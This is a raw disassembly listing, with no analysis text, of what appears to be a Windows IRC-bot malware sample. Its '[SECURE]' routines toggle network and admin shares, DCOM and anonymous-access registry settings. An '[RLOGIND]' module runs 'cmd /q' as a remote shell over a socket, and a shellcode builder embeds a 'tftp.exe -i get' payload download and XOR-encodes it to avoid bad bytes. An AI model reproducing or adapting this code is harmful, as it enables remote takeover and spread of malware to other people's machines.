[ebp+arg_C], 0 jnz short loc_40EC63 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EC63: ; CODE XREF: sub_40E9C5+282j lea eax, [ebp+var_214] push eax call sub_401C33 pop ecx loc_40EC70: ; CODE XREF: sub_40E9C5+245j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_40EBFB xor edi, edi loc_40EC7B: ; CODE XREF: sub_40E9C5+230j push [ebp+var_8] call dword_4334D8 loc_40EC84: ; CODE XREF: sub_40E9C5+222j cmp [ebp+var_10], 0EAh jz loc_40EB4D lea eax, [ebp+var_214] push offset aSecureNetworkS ; "[SECURE]: Network shares deleted." push eax call sub_412BB5 pop ecx pop ecx pop ebx jmp short loc_40ECBA ; --------------------------------------------------------------------------- loc_40ECA7: ; CODE XREF: sub_40E9C5+178j lea eax, [ebp+var_214] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_412BB5 pop ecx pop ecx loc_40ECBA: ; CODE XREF: sub_40E9C5+2E0j cmp [ebp+arg_C], edi jnz short loc_40ECD8 push edi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40ECD8: ; CODE XREF: sub_40E9C5+2F8j lea eax, [ebp+var_214] push eax call sub_401C33 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_40E9C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECEC proc near ; CODE XREF: sub_40F023:loc_40F061p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_433600, ebx push esi jnz loc_40EE1B lea eax, [ebp+var_4] push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call dword_4335C8 test eax, eax jnz short loc_40ED78 lea eax, [ebp+var_8+2] mov word ptr [ebp+var_8+2], 59h lea edx, [eax+1] loc_40ED30: ; CODE XREF: sub_40ECEC+49j mov cl, [eax] inc eax test cl, cl jnz short loc_40ED30 sub eax, edx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_433484 test eax, eax lea eax, [ebp+var_220] jz short loc_40ED60 push offset aSecureEnableDc ; "[SECURE]: Enable DCOM failed." jmp short loc_40ED65 ; --------------------------------------------------------------------------- loc_40ED60: ; CODE XREF: sub_40ECEC+6Bj push offset aSecureDcomEnab ; "[SECURE]: DCOM enabled." loc_40ED65: ; CODE XREF: sub_40ECEC+72j push eax call sub_412BB5 pop ecx pop ecx push [ebp+var_4] call dword_43357C jmp short loc_40ED8B ; --------------------------------------------------------------------------- loc_40ED78: ; CODE XREF: sub_40ECEC+36j lea eax, [ebp+var_220] push offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_412BB5 pop ecx pop ecx loc_40ED8B: ; CODE XREF: sub_40ECEC+8Aj cmp [ebp+arg_C], ebx jnz short loc_40EDAA push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EDAA: ; CODE XREF: sub_40ECEC+A2j lea eax, [ebp+var_220] push eax call sub_401C33 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4335C8 test eax, eax jnz short loc_40EE14 push 4 lea eax, [ebp+var_8] push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_433484 test eax, eax lea eax, [ebp+var_220] jz short loc_40EDFC push offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access t"... jmp short loc_40EE01 ; --------------------------------------------------------------------------- loc_40EDFC: ; CODE XREF: sub_40ECEC+107j push offset aSecureUnrestri ; "[SECURE]: Unrestricted access to the IP"... loc_40EE01: ; CODE XREF: sub_40ECEC+10Ej push eax call sub_412BB5 pop ecx pop ecx push [ebp+var_4] call dword_43357C jmp short loc_40EE2E ; --------------------------------------------------------------------------- loc_40EE14: ; CODE XREF: sub_40ECEC+E3j push offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$ restricti"... jmp short loc_40EE20 ; --------------------------------------------------------------------------- loc_40EE1B: ; CODE XREF: sub_40ECEC+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_40EE20: ; CODE XREF: sub_40ECEC+12Dj lea eax, [ebp+var_220] push eax call sub_412BB5 pop ecx pop ecx loc_40EE2E: ; CODE XREF: sub_40ECEC+126j cmp [ebp+arg_C], ebx jnz short loc_40EE4D push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EE4D: ; CODE XREF: sub_40ECEC+145j lea eax, [ebp+var_220] push eax call sub_401C33 cmp dword_433628, ebx pop ecx jnz loc_40EFC0 push edi xor esi, esi mov edi, 200h loc_40EE6E: ; CODE XREF: sub_40ECEC+1EFj push dword_42B2F4[esi] push off_42B2F0[esi] push ebx call sub_405FC7 add esp, 0Ch push off_42B2F0[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_40EE9A push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_40EE9F ; --------------------------------------------------------------------------- loc_40EE9A: ; CODE XREF: sub_40ECEC+1A5j push offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share." loc_40EE9F: ; CODE XREF: sub_40ECEC+1ACj push edi push eax call sub_412E0D add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_40EEC8 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EEC8: ; CODE XREF: sub_40ECEC+1C0j lea eax, [ebp+var_220] push eax call sub_401C33 add esi, 8 cmp esi, 10h pop ecx jb short loc_40EE6E call ds:dword_41F0FC test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_40EFA8 loc_40EEF0: ; CODE XREF: sub_40ECEC+2B6j test byte ptr [ebp+var_4], 1 jz loc_40EF9D cmp bl, 41h jz loc_40EF9D movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_412E0D push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_412E0D add esp, 20h lea eax, [ebp+var_20] push eax call dword_43342C cmp eax, 3 jnz short loc_40EF9D lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_405FC7 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_40EF61 push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_40EF66 ; --------------------------------------------------------------------------- loc_40EF61: ; CODE XREF: sub_40ECEC+26Cj push offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share." loc_40EF66: ; CODE XREF: sub_40ECEC+273j push edi push eax call sub_412E0D add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_40EF90 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EF90: ; CODE XREF: sub_40ECEC+288j lea eax, [ebp+var_220] push eax call sub_401C33 pop ecx loc_40EF9D: ; CODE XREF: sub_40ECEC+208j ; sub_40ECEC+211j ... inc bl shr [ebp+var_4], 1 jnz loc_40EEF0 loc_40EFA8: ; CODE XREF: sub_40ECEC+1FEj lea eax, [ebp+var_220] push offset aSecureNetwor_0 ; "[SECURE]: Network shares added." push eax call sub_412BB5 pop ecx pop ecx xor ebx, ebx pop edi jmp short loc_40EFD3 ; --------------------------------------------------------------------------- loc_40EFC0: ; CODE XREF: sub_40ECEC+174j lea eax, [ebp+var_220] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_412BB5 pop ecx pop ecx loc_40EFD3: ; CODE XREF: sub_40ECEC+2D2j cmp [ebp+arg_C], ebx jnz short loc_40EFF1 push ebx push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EFF1: ; CODE XREF: sub_40ECEC+2EAj lea eax, [ebp+var_220] push eax call sub_401C33 pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_40ECEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40F005 proc near ; CODE XREF: sub_40F005+1Cj ; DATA XREF: sub_40D1EF+3B4o push 1 push 0 push 0 push 0 call sub_40E9C5 add esp, 10h push dword_42B2EC call ds:dword_41F000 jmp short sub_40F005 sub_40F005 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40F023 proc near ; DATA XREF: sub_4078FA+4A4Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd cmp [ebp+74h+var_10], 0 push [ebp+74h+var_8] mov dword ptr [eax+94h], 1 push [ebp+74h+var_C] lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] jz short loc_40F061 call sub_40E9C5 jmp short loc_40F066 ; --------------------------------------------------------------------------- loc_40F061: ; CODE XREF: sub_40F023+35j call sub_40ECEC loc_40F066: ; CODE XREF: sub_40F023+3Cj add esp, 10h push [ebp+74h+var_14] call sub_4111AE pop ecx push 0 call ds:dword_41F014 int 3 ; Trap to Debugger sub_40F023 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F07B proc near ; CODE XREF: sub_40F2F9+98p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi push edi push 11h xor eax, eax pop ecx lea edi, [ebp+var_58] rep stosd lea edi, [ebp+var_14] stosd xor esi, esi stosd stosd stosd mov eax, [ebp+arg_0] mov edi, ds:dword_41F0B4 push esi push 1 mov [ebp+var_20], eax push 2 lea eax, [ebp+var_18] push eax mov [ebp+var_4], esi mov [ebp+var_58], 44h mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call ds:dword_41F0E8 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_41F030 test eax, eax jz short loc_40F12B mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_434340[eax], ecx call ds:dword_41F034 jmp short loc_40F141 ; --------------------------------------------------------------------------- loc_40F12B: ; CODE XREF: sub_40F07B+8Ej call ds:dword_41F008 push eax push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"... call sub_401CA7 mov esi, [ebp+var_4] pop ecx pop ecx loc_40F141: ; CODE XREF: sub_40F07B+AEj pop edi mov eax, esi pop esi leave retn sub_40F07B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40F147 proc near ; DATA XREF: sub_40F3F5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 1B0h push ebx mov ebx, ds:dword_41F058 push esi push edi mov edi, [ebp+74h+arg_0] jmp short loc_40F1A9 ; --------------------------------------------------------------------------- loc_40F160: ; CODE XREF: sub_40F147+77j xor eax, eax xor dl, dl xor esi, esi cmp [ebp+74h+arg_0], eax jbe short loc_40F192 loc_40F16B: ; CODE XREF: sub_40F147+49j mov cl, [ebp+esi+74h+var_C8] cmp cl, 0Ah jnz short loc_40F182 cmp dl, 0Dh jz short loc_40F182 mov [ebp+eax+74h+var_1B0], 0Dh inc eax loc_40F182: ; CODE XREF: sub_40F147+2Bj ; sub_40F147+30j mov [ebp+eax+74h+var_1B0], cl inc eax inc esi cmp esi, [ebp+74h+arg_0] mov dl, cl jb short loc_40F16B loc_40F192: ; CODE XREF: sub_40F147+22j push 0 push eax lea eax, [ebp+74h+var_1B0] push eax push dword ptr [edi+0Ch] call dword_433534 test eax, eax jle short loc_40F1C0 loc_40F1A9: ; CODE XREF: sub_40F147+17j push 0 lea eax, [ebp+74h+arg_0] push eax push 0C8h lea eax, [ebp+74h+var_C8] push eax push dword ptr [edi] call ebx test eax, eax jnz short loc_40F160 loc_40F1C0: ; CODE XREF: sub_40F147+60j mov esi, ds:dword_41F008 call esi cmp eax, 6Dh jz short loc_40F1DC call esi push eax push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"... call sub_401CA7 pop ecx pop ecx loc_40F1DC: ; CODE XREF: sub_40F147+84j pop edi pop esi pop ebx add ebp, 74h leave retn sub_40F147 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40F1E4 proc near ; DATA XREF: sub_40F3F5+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+74h+arg_0] xor esi, esi mov [ebp+74h+var_10], ebx jmp loc_40F2D6 ; --------------------------------------------------------------------------- loc_40F201: ; CODE XREF: sub_40F1E4+107j cmp [ebp+74h+var_10], ebx jbe short loc_40F20E dec [ebp+74h+var_10] jmp loc_40F2D9 ; --------------------------------------------------------------------------- loc_40F20E: ; CODE XREF: sub_40F1E4+20j mov al, byte ptr [ebp+74h+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_40F2C1 cmp al, 8 mov [ebp+74h+var_C], ebx jz short loc_40F278 cmp al, 7Fh jz short loc_40F278 cmp al, 3 jnz short loc_40F239 push ebx push ebx call ds:dword_41F100 jmp short loc_40F29F ; --------------------------------------------------------------------------- loc_40F239: ; CODE XREF: sub_40F1E4+49j cmp al, 15h jnz short loc_40F25B xor esi, esi mov [ebp+74h+var_8], 20h mov [ebp+74h+var_7], 58h mov [ebp+74h+var_6], 58h mov [ebp+74h+var_5], 58h mov [ebp+74h+var_4], 0Dh mov [ebp+74h+var_3], 0Ah push 6 jmp short loc_40F28B ; --------------------------------------------------------------------------- loc_40F25B: ; CODE XREF: sub_40F1E4+57j xor ecx, ecx mov [ebp+esi+74h+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+74h+var_8], al jnz short loc_40F28C mov [ebp+esi+74h+var_DC], 0Ah mov [ebp+74h+var_7], 0Ah inc esi push 2 jmp short loc_40F28B ; --------------------------------------------------------------------------- loc_40F278: ; CODE XREF: sub_40F1E4+41j ; sub_40F1E4+45j cmp esi, ebx jbe short loc_40F2A2 dec esi mov [ebp+74h+var_8], 8 mov [ebp+74h+var_7], 20h mov [ebp+74h+var_6], 8 push 3 loc_40F28B: ; CODE XREF: sub_40F1E4+75j ; sub_40F1E4+92j pop ecx loc_40F28C: ; CODE XREF: sub_40F1E4+84j push ebx push ecx lea eax, [ebp+74h+var_8] push eax push dword ptr [edi+0Ch] call dword_433534 test eax, eax jle short loc_40F2F1 loc_40F29F: ; CODE XREF: sub_40F1E4+53j mov al, byte ptr [ebp+74h+arg_0+3] loc_40F2A2: ; CODE XREF: sub_40F1E4+96j cmp al, 0Dh jnz short loc_40F2D9 push ebx lea eax, [ebp+74h+var_14] push eax push esi lea eax, [ebp+74h+var_DC] push eax push dword ptr [edi+4] call ds:dword_41F038 test eax, eax jz short loc_40F2F1 xor esi, esi jmp short loc_40F2D9 ; --------------------------------------------------------------------------- loc_40F2C1: ; CODE XREF: sub_40F1E4+36j cmp [ebp+74h+var_C], ebx jnz short loc_40F2CF mov [ebp+74h+var_C], 1 jmp short loc_40F2D9 ; --------------------------------------------------------------------------- loc_40F2CF: ; CODE XREF: sub_40F1E4+E0j mov [ebp+74h+var_10], 0Ah loc_40F2D6: ; CODE XREF: sub_40F1E4+18j mov [ebp+74h+var_C], ebx loc_40F2D9: ; CODE XREF: sub_40F1E4+25j ; sub_40F1E4+C0j ... push ebx push 1 lea eax, [ebp+74h+arg_0+3] push eax push dword ptr [edi+0Ch] call dword_433414 test eax, eax jg loc_40F201 loc_40F2F1: ; CODE XREF: sub_40F1E4+B9j ; sub_40F1E4+D7j pop edi pop esi pop ebx add ebp, 74h leave retn sub_40F1E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F2F9 proc near ; CODE XREF: sub_40F3F5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41344D mov esi, eax cmp esi, edi pop ecx jnz short loc_40F31E xor eax, eax jmp loc_40F3F1 ; --------------------------------------------------------------------------- loc_40F31E: ; CODE XREF: sub_40F2F9+1Cj push ebx push edi lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] mov [esi], edi push eax lea ebx, [esi+4] mov [ebx], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ds:dword_41F0EC test eax, eax mov edi, ds:dword_41F034 jnz short loc_40F35F call ds:dword_41F008 push eax push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"... jmp short loc_40F380 ; --------------------------------------------------------------------------- loc_40F35F: ; CODE XREF: sub_40F2F9+56j push 0 lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_4] push eax call ds:dword_41F0EC test eax, eax jnz short loc_40F388 call ds:dword_41F008 push eax push offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"... loc_40F380: ; CODE XREF: sub_40F2F9+64j call sub_401CA7 pop ecx jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F388: ; CODE XREF: sub_40F2F9+79j push [ebp+arg_0] mov ebx, [ebp+var_8] push [ebp+var_4] call sub_40F07B pop ecx pop ecx mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_40F3EA push offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell." call sub_401C33 loc_40F3B5: ; CODE XREF: sub_40F2F9+8Dj cmp [ebp+var_4], 0 pop ecx jz short loc_40F3C1 push [ebp+var_4] call edi loc_40F3C1: ; CODE XREF: sub_40F2F9+C1j cmp [ebp+var_8], 0 jz short loc_40F3CC push [ebp+var_8] call edi loc_40F3CC: ; CODE XREF: sub_40F2F9+CCj mov eax, [esi] test eax, eax jz short loc_40F3D5 push eax call edi loc_40F3D5: ; CODE XREF: sub_40F2F9+D7j mov eax, [esi+4] test eax, eax jz short loc_40F3DF push eax call edi loc_40F3DF: ; CODE XREF: sub_40F2F9+E1j push esi call sub_412FE4 pop ecx xor eax, eax jmp short loc_40F3F0 ; --------------------------------------------------------------------------- loc_40F3EA: ; CODE XREF: sub_40F2F9+B0j or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_40F3F0: ; CODE XREF: sub_40F2F9+EFj pop ebx loc_40F3F1: ; CODE XREF: sub_40F2F9+20j pop edi pop esi leave retn sub_40F2F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3F5 proc near ; CODE XREF: sub_40E00D+1BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_40F2F9 imul edi, 234h mov esi, eax mov eax, dword_434344[edi] mov edi, ds:dword_41F00C xor ebx, ebx pop ecx mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_40F147 push ebx lea eax, [ebp+var_C] push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_40F464 call ds:dword_41F008 push eax push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_401CA7 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_40F544 ; --------------------------------------------------------------------------- loc_40F464: ; CODE XREF: sub_40F3F5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_40F1E4 push ebx lea eax, [ebp+var_C] push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_40F4A5 call ds:dword_41F008 push eax push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_401CA7 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx push ebx push dword ptr [esi+14h] call ds:dword_41F0C8 xor eax, eax jmp loc_40F545 ; --------------------------------------------------------------------------- loc_40F4A5: ; CODE XREF: sub_40F3F5+86j mov eax, [esi+10h] mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] push 0FFFFFFFFh mov [ebp+var_10], eax push ebx lea eax, [ebp+var_18] push eax push 3 call ds:dword_41F104 sub eax, ebx jz short loc_40F4FF dec eax jz short loc_40F4F9 dec eax jz short loc_40F4E5 call ds:dword_41F008 push eax push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"... call sub_401CA7 pop ecx pop ecx jmp short loc_40F514 ; --------------------------------------------------------------------------- loc_40F4E5: ; CODE XREF: sub_40F3F5+D9j mov edi, ds:dword_41F0C8 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_40F514 ; --------------------------------------------------------------------------- loc_40F4F9: ; CODE XREF: sub_40F3F5+D6j push ebx push dword ptr [esi+10h] jmp short loc_40F503 ; --------------------------------------------------------------------------- loc_40F4FF: ; CODE XREF: sub_40F3F5+D3j push ebx push dword ptr [esi+14h] loc_40F503: ; CODE XREF: sub_40F3F5+108j call ds:dword_41F0C8 push 1 push dword ptr [esi+8] call ds:dword_41F0BC loc_40F514: ; CODE XREF: sub_40F3F5+EEj ; sub_40F3F5+102j push dword ptr [esi+10h] mov edi, ds:dword_41F034 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4335AC push esi call sub_412FE4 xor eax, eax inc eax loc_40F544: ; CODE XREF: sub_40F3F5+6Aj pop ecx loc_40F545: ; CODE XREF: sub_40F3F5+ABj pop edi pop esi pop ebx leave retn sub_40F3F5 endp ; =============== S U B R O U T I N E ======================================= sub_40F54A proc near ; CODE XREF: sub_40F576+Ap ; sub_40F779+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] lea edx, [eax+1] loc_40F551: ; CODE XREF: sub_40F54A+Cj mov cl, [eax] inc eax test cl, cl jnz short loc_40F551 sub eax, edx push esi mov esi, eax mov eax, [esp+4+arg_4] lea ecx, [eax+1] loc_40F564: ; CODE XREF: sub_40F54A+1Fj mov dl, [eax] inc eax test dl, dl jnz short loc_40F564 sub eax, ecx lea eax, [esi+eax*2+0C1h] pop esi retn sub_40F54A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F576 proc near ; CODE XREF: sub_40F790+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40F54A cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40F593 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F593: ; CODE XREF: sub_40F576+17j mov eax, [ebp+arg_8] lea edx, [eax+1] loc_40F599: ; CODE XREF: sub_40F576+28j mov cl, [eax] inc eax test cl, cl jnz short loc_40F599 sub eax, edx push ebx mov edx, eax mov eax, [ebp+arg_C] push esi push edi mov [ebp+arg_4], edx lea esi, [eax+1] loc_40F5B0: ; CODE XREF: sub_40F576+3Fj mov cl, [eax] inc eax test cl, cl jnz short loc_40F5B0 sub eax, esi mov ebx, [ebp+arg_0] lea ecx, [eax+edx+12h] mov dword_42B3A4, ecx push 0FFFFFFEDh lea ecx, [eax+1] mov dword_42B3C5, ecx lea ecx, [eax+17h] mov dword_42B3BD, ecx pop ecx sub ecx, eax mov dword_42B3D3, ecx push 1Dh pop ecx mov edi, ebx mov esi, offset dword_42B340 rep movsd mov esi, [ebp+arg_8] mov ecx, edx shr ecx, 2 lea edi, [ebx+74h] rep movsd mov ecx, edx mov edx, [ebp+arg_4] and ecx, 3 rep movsb add edx, 74h lea edi, [edx+ebx] mov esi, (offset aTftp_exeIGet+0Ch) movsd movsb mov esi, [ebp+arg_C] add edx, 5 lea edi, [edx+ebx] mov ecx, eax mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx mov ebx, [ebp+arg_0] and ecx, 3 rep movsb add edx, eax lea edi, [edx+ebx] mov esi, (offset aTftp_exeIGet+11h) movsd movsd movsd movsd mov esi, [ebp+arg_C] add edx, 10h mov ecx, eax lea edi, [edx+ebx] mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb push 0Eh lea edi, [edx+eax] add edi, [ebp+arg_0] mov eax, [ebp+var_4] pop ecx mov esi, offset byte_42B3C9 rep movsd pop edi pop esi pop ebx leave retn sub_40F576 endp ; =============== S U B R O U T I N E ======================================= sub_40F66E proc near ; CODE XREF: sub_40F689+41p ; sub_40F779+Ep arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40F677 inc ecx loc_40F677: ; CODE XREF: sub_40F66E+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40F66E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F689 proc near ; CODE XREF: sub_40F790+56p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_C] cmp bl, 0Ah push esi jz short loc_40F6A4 cmp bl, 0Dh jz short loc_40F6A4 cmp bl, 5Ch jz short loc_40F6A4 test bl, bl jnz short loc_40F6A5 loc_40F6A4: ; CODE XREF: sub_40F689+Bj ; sub_40F689+10j ... inc ebx loc_40F6A5: ; CODE XREF: sub_40F689+19j mov esi, 0FFh cmp ebx, esi jbe short loc_40F6C9 mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_40F6C3 cmp al, 0Dh jz short loc_40F6C3 cmp al, 5Ch jz short loc_40F6C3 test al, al jnz short loc_40F6C9 loc_40F6C3: ; CODE XREF: sub_40F689+2Cj ; sub_40F689+30j ... add ebx, 100h loc_40F6C9: ; CODE XREF: sub_40F689+23j ; sub_40F689+38j push ebx call sub_40F66E cmp eax, [ebp+arg_4] pop ecx mov [ebp+arg_C], eax ja short loc_40F6DF cmp eax, 0FFFFh jbe short loc_40F6E6 loc_40F6DF: ; CODE XREF: sub_40F689+4Dj xor eax, eax jmp loc_40F775 ; --------------------------------------------------------------------------- loc_40F6E6: ; CODE XREF: sub_40F689+54j mov dl, byte_479E18 xor eax, eax test ebx, ebx jbe short loc_40F714 loc_40F6F2: ; CODE XREF: sub_40F689+89j mov ecx, [ebp+arg_8] mov cl, [eax+ecx] xor cl, dl jz short loc_40F70B cmp cl, 0Ah jz short loc_40F70B cmp cl, 0Dh jz short loc_40F70B cmp cl, 5Ch jnz short loc_40F70F loc_40F70B: ; CODE XREF: sub_40F689+71j ; sub_40F689+76j ... inc dl xor eax, eax loc_40F70F: ; CODE XREF: sub_40F689+80j inc eax cmp eax, ebx jb short loc_40F6F2 loc_40F714: ; CODE XREF: sub_40F689+67j cmp ebx, esi push edi mov edi, [ebp+arg_0] push 5 mov byte_479E18, dl pop ecx ja short loc_40F73C mov esi, offset loc_42B328 mov byte_42B335, bl mov byte_42B339, dl rep movsd push 15h jmp short 